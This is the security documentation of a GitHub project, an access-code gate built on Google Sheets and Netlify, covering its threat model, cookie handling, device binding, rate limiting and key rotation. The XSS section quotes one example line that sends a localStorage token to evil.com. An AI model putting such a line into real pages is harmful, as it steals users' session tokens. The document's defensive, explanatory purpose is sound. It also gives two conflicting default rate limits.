Skip to content

Security: BrettsRepo/sheet-gate

Security

docs/SECURITY.md

Security Model

This document explains the security properties of the Google Sheets Access Gate, its limitations, and how to harden your deployment.

What This System Is

An entitlement system, not authentication:

  • Users present a code, not an identity
  • No passwords, no usernames, no OAuth
  • Designed for: betas, demos, internal tools, invite-only access

What This System Is NOT

  • Not identity verification - Anyone with the code can use it (until device binding)
  • Not password protection - Codes are high-entropy tokens, not memorable passwords
  • Not SSO/OAuth - No integration with identity providers
  • Not PCI/HIPAA compliant - Don't use for sensitive data without additional controls

Threat Model

Adversaries Considered

  1. Random internet users - Should not be able to access your app
  2. Code sharers - Users who might share their code with others
  3. Script kiddies - Automated attacks, brute forcing
  4. XSS attackers - Malicious scripts running in your page

Adversaries NOT Fully Mitigated

  1. Determined insiders - Someone who exports their browser profile
  2. Malware on user's device - Can intercept everything
  3. Your own operational mistakes - Leaking secrets, misconfiguration

Security Properties

1. Secrets Never Reach the Browser

Secret Location Browser Access
Service account key Netlify env vars Never
ACCESS_PEPPER Netlify env vars Never
JWT_SECRET Netlify env vars Never
Access codes Hashed in sheet Never (only hash stored)
Device IDs HttpOnly cookie Not via JavaScript
Session tokens HttpOnly cookie Not via JavaScript

2. HttpOnly Cookies Prevent Token Theft via XSS

Traditional localStorage tokens can be stolen by any script:

// If you used localStorage, an XSS attacker could do:
fetch('https://evil.com/steal?token=' + localStorage.getItem('token'));

With HttpOnly cookies, this is impossible. The cookie is:

  • Sent automatically by the browser
  • Not readable by JavaScript
  • Not accessible via document.cookie

3. Device Binding Prevents Casual Sharing

Without binding:

User A gets code → shares with User B → both can use it forever

With multi-device binding (default: 3 devices):

User A gets code → uses on laptop → code binds to laptop
User A uses same code on phone → code adds phone (2/3 devices)
User A uses on tablet → code adds tablet (3/3 devices)
User B tries same code → DEVICE_LIMIT_REACHED → denied

Single-device mode (max_devices=1):

User A gets code → uses it → code binds to User A's device
User B tries same code → DEVICE_LIMIT_REACHED → denied

Shared mode (shared=TRUE):

Anyone with code → unlimited devices → all allowed

Limitation: A determined user can still share by:

  • Exporting their browser cookies
  • Giving remote access to their machine
  • Taking a screenshot of the unlocked app

Binding raises the friction, not the impossibility.

4. Short-Lived Sessions Limit Exposure

Cookie names use a configurable prefix (default: gate, set via COOKIE_PREFIX env var).

Cookie Lifetime Implication
{prefix}_access 7 days Revoked codes take up to 7 days to fully expire
{prefix}_device 1 year Device binding persists across sessions

If you need faster revocation, reduce ACCESS_TTL_SECONDS env var.

5. HTTPS Prevents Network Sniffing

All Netlify sites use HTTPS by default. This means:

  • Cookies are encrypted in transit
  • Man-in-the-middle attacks are prevented
  • No passive network sniffing of tokens

6. Security Headers (Defense in Depth)

Comprehensive security headers are configured in netlify.toml:

Header Purpose
Strict-Transport-Security Force HTTPS for 1 year, including subdomains
Content-Security-Policy Restrict script/style/connect sources
X-Frame-Options: DENY Prevent clickjacking
X-Content-Type-Options: nosniff Prevent MIME-type sniffing
X-XSS-Protection Legacy XSS protection for older browsers
Permissions-Policy Disable dangerous browser features
Referrer-Policy Control referrer information

7. Rate Limiting (Brute Force Protection)

Built-in rate limiting on /access-verify:

  • Default: 2 requests per minute per IP (configurable)
  • Returns 429 Too Many Requests with Retry-After header

Important limitation: Rate limiting is in-memory and best-effort only. Netlify Functions are stateless - cold starts reset the rate limit counters. This provides basic abuse protection but is not a durable security control. For stronger protection, use Netlify Edge Functions or an external rate limiting service.

8. Timing-Safe Comparisons

All secret comparisons use crypto.timingSafeEqual():

  • Code hash lookups in Google Sheets
  • Device hash verification
  • Prevents timing attacks that could leak information

Attack Vectors and Mitigations

Brute Force Attacks

Risk: Attacker guesses access codes.

Mitigations (all implemented):

  1. High-entropy codes - 16+ character base32 (~80 bits entropy)
  2. Rate limiting - Built-in: 10 requests/minute per IP (configurable)
  3. Timing-safe comparison - Prevents timing attacks on hash comparison
  4. Monitoring - Check Usage sheet for verify_fail events

Rate limiting configuration:

RATE_LIMIT_WINDOW_MS=60000    # 1 minute window
RATE_LIMIT_MAX_REQUESTS=10    # Max attempts per window

Code entropy math:

  • 16 characters base32 = 80 bits
  • 2^80 = 1.2 × 10^24 possibilities
  • At 10 guesses/minute (rate limited) = 2.3 × 10^18 years to brute force

Timing Attacks

Risk: Attacker measures response times to learn about secret values.

Mitigations (implemented):

  1. Timing-safe hash comparison - Uses crypto.timingSafeEqual() for all hash comparisons
  2. Constant-time operations - Code hash and device hash comparisons take the same time regardless of match position

Code Sharing

Risk: Legitimate user shares their code.

Mitigations:

  1. Device binding - Code only works on limited devices (default: 3)
  2. Single-device mode - Set max_devices=1 for strict binding
  3. Short expiration - Codes expire, limiting damage window
  4. Monitoring - Watch for DEVICE_LIMIT_REACHED events (indicates sharing attempt)

XSS (Cross-Site Scripting)

Risk: Attacker injects malicious JavaScript into your app.

Mitigations:

  1. HttpOnly cookies - Tokens can't be read/exfiltrated by JavaScript
  2. Secure flag - Cookies only sent over HTTPS (production)
  3. Content Security Policy - Add CSP headers to prevent inline scripts

Remaining risk: XSS can still make requests "as the user" while they're on the page.

CSRF (Cross-Site Request Forgery)

Risk: Malicious site tricks user's browser into making requests.

Mitigations (all implemented):

  1. Origin validation - Server validates Origin header matches your domain
  2. POST for mutations - GET requests don't modify state
  3. SameSite policy - None in production (with origin validation), Lax in local dev

Built-in: Origin validation is now built into access-verify and access-log. Configure allowed origins:

# In .env or Netlify environment variables
ALLOWED_ORIGINS=https://your-site.netlify.app,https://your-custom-domain.com

If ALLOWED_ORIGINS is not set, it falls back to Netlify's URL env var (automatically set).

Credential Leakage

Risk: You accidentally expose your secrets.

Mitigations:

  1. Never commit secrets - .env is in .gitignore
  2. Never log secrets - Don't console.log(process.env.GOOGLE_PRIVATE_KEY)
  3. Never return secrets - Don't include in API responses
  4. Rotate periodically - Change ACCESS_PEPPER and JWT_SECRET yearly

If you leak your service account key:

  1. Immediately revoke it in Google Cloud Console
  2. Create a new key
  3. Update Netlify env vars
  4. Redeploy

Sheet Access

Risk: Someone accesses your Google Sheet directly.

Mitigations:

  1. Share only with service account - No other editors
  2. Don't share link publicly - Keep sheet URL private
  3. Codes are hashed - Even if sheet is leaked, codes can't be recovered

Automated Security Safeguards

This project includes automated tools to prevent secret leakage.

Security Tests

Run security tests to verify no secrets are hardcoded or logged:

npm run test:run

The security.test.js file checks:

  • No hardcoded secrets in source files
  • No console.log(process.env.SECRET) patterns
  • Error responses contain no sensitive data
  • .env.example has only placeholder values
  • .gitignore covers sensitive files

Secret Scanner

Scan for accidentally committed secrets:

# Scan all files
npm run check-secrets

# Scan only staged files (for pre-commit)
npm run check-secrets -- --staged

Dependency Audit

Check for known vulnerabilities in dependencies:

# Check for vulnerabilities (high severity and above)
npm run audit

# Automatically fix vulnerabilities where possible
npm run audit:fix

Full Security Check

Run all security checks at once:

npm run security

This runs:

  1. npm audit - Check for vulnerable dependencies
  2. check-secrets - Scan for leaked secrets
  3. test:run - Run all tests including security tests

Detects:

  • Private keys (Google, RSA, AWS)
  • Hardcoded passwords
  • JWT secrets
  • API keys
  • Base64-encoded credentials

Pre-Commit Hook

Run before every commit:

npm run precommit

This runs:

  1. check-secrets --staged - Scan staged files for secrets
  2. test:run - Run all tests including security tests

To automate this, add to .git/hooks/pre-commit:

#!/bin/sh
npm run precommit

Or use husky for cross-platform hooks.

GitHub Secret Scanning

Enable in your GitHub repository:

  1. Go to SettingsCode security and analysis
  2. Enable Secret scanning
  3. Enable Push protection (blocks commits with detected secrets)

Hardening Checklist

Required

  • All env vars set in Netlify (not committed to git)
  • .env in .gitignore
  • Service account JSON key not in repo
  • Sheet shared only with service account email
  • Codes are 16+ characters with high entropy
  • HTTPS enabled (Netlify default)
  • Run npm run check-secrets before first deploy
  • Security tests pass (npm run test:run)

Recommended

  • Rate limiting on /access-verify
  • Origin validation in functions
  • Content Security Policy headers
  • Monitoring for verify_fail events in Usage sheet
  • Short code expiration (30-90 days typical)
  • Review Usage sheet periodically for anomalies
  • Enable GitHub secret scanning
  • Set up pre-commit hook

Optional (High Security)

  • Shorter session TTL (24 hours instead of 7 days)
  • IP allowlisting in Netlify
  • Periodic re-verification (re-check sheet on access-me)
  • Alert on DEVICE_MISMATCH events
  • Two-factor: code + email verification (not implemented)

Comparison to Alternatives

Approach Security Level Complexity Use Case
This system Medium Low Betas, demos, internal tools
Public URL None Lowest Truly public apps
Basic Auth Low Low Quick protection, shared password
Netlify Identity High Medium Full user accounts
Auth0/Firebase High High Production apps, SSO

Key Rotation Procedures

Regular key rotation reduces the impact of potential secret compromise.

Recommended Rotation Schedule

Secret Rotation Frequency Impact of Rotation
JWT_SECRET Every 90 days All existing sessions invalidated
ACCESS_PEPPER Yearly (or if compromised) All codes invalidated, must regenerate
Google Service Account Key Yearly No user impact

Rotating JWT_SECRET

  1. Generate new secret:

    node -e "console.log(require('crypto').randomBytes(32).toString('base64'))"
  2. Update in Netlify:

    • Go to Site settingsEnvironment variables
    • Update JWT_SECRET value
  3. Redeploy:

    netlify deploy --prod
  4. Impact: All existing sessions will be invalidated. Users will need to re-enter their access codes.

Rotating ACCESS_PEPPER

WARNING: This invalidates ALL existing access codes.

  1. Generate new pepper:

    node -e "console.log(require('crypto').randomBytes(32).toString('base64'))"
  2. Update in Netlify environment variables

  3. Clear the Access sheet (all code_hash values are now invalid)

  4. Regenerate all access codes:

    node scripts/generate-code.js "User 1" "2025-12-31"
    node scripts/generate-code.js "User 2" "2025-12-31"
    # ... repeat for all users
  5. Distribute new codes to users

Rotating Google Service Account Key

  1. Go to Google Cloud Console
  2. Navigate to IAM & AdminService Accounts
  3. Click on your service account
  4. Go to Keys tab
  5. Click Add KeyCreate new keyJSON
  6. Download the new key file
  7. Update Netlify environment variables:
    • GOOGLE_SERVICE_ACCOUNT_EMAIL (usually unchanged)
    • GOOGLE_PRIVATE_KEY (from new JSON file)
  8. Delete the old key in Google Cloud Console
  9. Redeploy

Impact: None for users - seamless transition.

Emergency Rotation (If Compromised)

If you suspect a secret has been compromised:

  1. Immediately rotate the affected secret (see above)
  2. Check Usage sheet for suspicious activity
  3. Review Netlify deploy logs for unauthorized access
  4. Consider rotating ALL secrets if breach scope is unclear
  5. Notify affected users if their access codes may be compromised

Incident Response

If Secrets Are Leaked

  1. Immediately revoke the Google service account key
  2. Immediately change JWT_SECRET (invalidates all sessions)
  3. Immediately change ACCESS_PEPPER (invalidates all codes)
  4. Regenerate all access codes
  5. Notify affected users
  6. Audit logs for unauthorized access

If a Code Is Compromised

  1. Set revoked=TRUE in the Access sheet for that code
  2. User will be denied on next verification
  3. Issue a new code to the legitimate user
  4. Check Usage sheet for suspicious activity

If Sheet Is Compromised

  1. Codes are hashed, so they can't be directly used
  2. But attacker could see labels, expiration dates
  3. Revoke all codes (set revoked=TRUE)
  4. Create new spreadsheet with fresh codes
  5. Update GOOGLE_SPREADSHEET_ID_FROM_URL

There aren't any published security advisories